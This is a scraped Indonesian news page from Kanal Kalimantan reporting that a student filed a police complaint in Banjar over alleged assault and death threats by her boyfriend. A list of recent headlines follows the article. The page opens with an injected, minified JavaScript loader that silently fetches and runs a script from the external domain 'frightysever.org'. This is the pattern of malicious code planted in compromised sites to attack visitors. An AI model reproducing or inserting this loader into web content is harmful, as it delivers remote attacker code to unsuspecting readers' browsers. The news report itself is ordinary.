(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Dianiaya, Lalu Diancam Dibunuh, Mahasiswi Ini Lapor ke Polres Banjar


[tps_start_button label=”Start slideshow” style=”” class=””]

MARTAPURA, AH dilaporkan ke Polres Banjar diduga melakukan tindak pidana berupa perbuatan tidak menyenangkan dan penganiyaan terhadap NW. AH dan NW diketahui sepasang kekasih, NW tinggal di Tunggul Irang Kecamatan Martapura, Kabupaten Banjar, Norsamidi, ayah NW tak terima atas kelakuan AH teman lelaki anaknya sendiri, lantaran NW mengaku telah dianiaya oleh pacarnya sendiri hingga lebam di leher, tangan kiri dan kaki kanan.

NW diancam akan dibunuh, menurut keterangan NW kepada Kanal Kalimantan dari cerita Norsamidi. Norsamidi mengatakan anaknya memang berpacaran sudah 2 tahun belakangan, mereka kos dan kuliah di tempat yang berbeda, NW kuliah di Banjarbaru, dan AH kuliah di Banjarmasin.

“Saya tidak pernah melihat dan bertatap muka secara langsung dengan AH,” ujar Norsamidi

Karena diancam ingin dibunuh, makanya NW melapor ke sang ayah. “Sebelum kasus ini terungkap, dalam pengakuan anak saya, AH sering menganiaya dan sering dimintai uang satu minggu sekali namun saya baru mengetahuinya,” kata Norsamidi.

Kronologis kejadian penganiayaan, Norsamidi menceritakan, terjadi Senin (26/2) pukul 23.00 terlapor AH mendatangi NW ke kos ingin membawa keluar untuk berbicara masalah hubungan mereka. NW menolak karena sibuk sedang mengerjakan tugas kuliah, namun AH tetap memaksa untuk ikut dengannya.

Setelah AH berhasil membawa NW mereka singgah di belakang bekas asrama Kodim jalan Tunggul Irang, dan disitulah NW didiga dianiaya oleh AH. Hari berikutnya AH kembali menghubungi NW, namun korban enggan menemuinya, AH mulai mengancam untuk membunuh NW.

Merasa terancam dan takut karena ingin dibunuh, NW langsung melapor kepada orang tuanya yang berada di Kecamatan Tebing Tinggi, Kabupaten Balangan.

Mendengar hal tersebut, Norsamidi langsung mencari informasi tentang AH, dan Selasa (27/2) ia mendatangi rumah AH di Desa Pajukungan, Barabai, HST.

Mendengar kelakuan AH, ibu AH langsung menyuruh dan menyarankan AH mendatangi ke Polres Banjar untuk mengamankan diri, karena takut pihak keluarga korban ada yang bertidak main hakim sendiri. “Berdasarkan perintah ibunya AH langsung mengamankan diri ke Polres Banjar Selasa (27/2) malam,” ungkap Norsamidi.

Berdasarkan bukti surat laporan kepolisian, kasus ini sudah ditangani oleh pihak yang berwajib. “Sebenarnya saya ingin kasus ini diurus secara kekeluargaan saja namun atas keinginan anak saya agar kasus ini untuk dibawa ke jalur hukum saja, karena tidak hanya kali ini AH diduga sering menganiaya dan mengancam ingin membunuh,” pungkasnya.

Kanal Kalimantan mendapat surat laporan ke Polres Banjar, atas nama Norsamidi ke Polres Banjar dengan nomor surat tanda terima laporan STTLP/25/II/2018/Kalsel/Res Banjar yang ditanda tangani Kanit SPKT Iptu Rahmad, tertanggal 28 Februari 2018. Dalam laporan polisi itu, tertulis perbuatan tidak menyenangkan dana atau penganiayaan. (rendy/hendera)

Reporter : Rendy/Hendera
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

2 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

6 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

15 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

15 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

17 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

18 jam ago

This website uses cookies.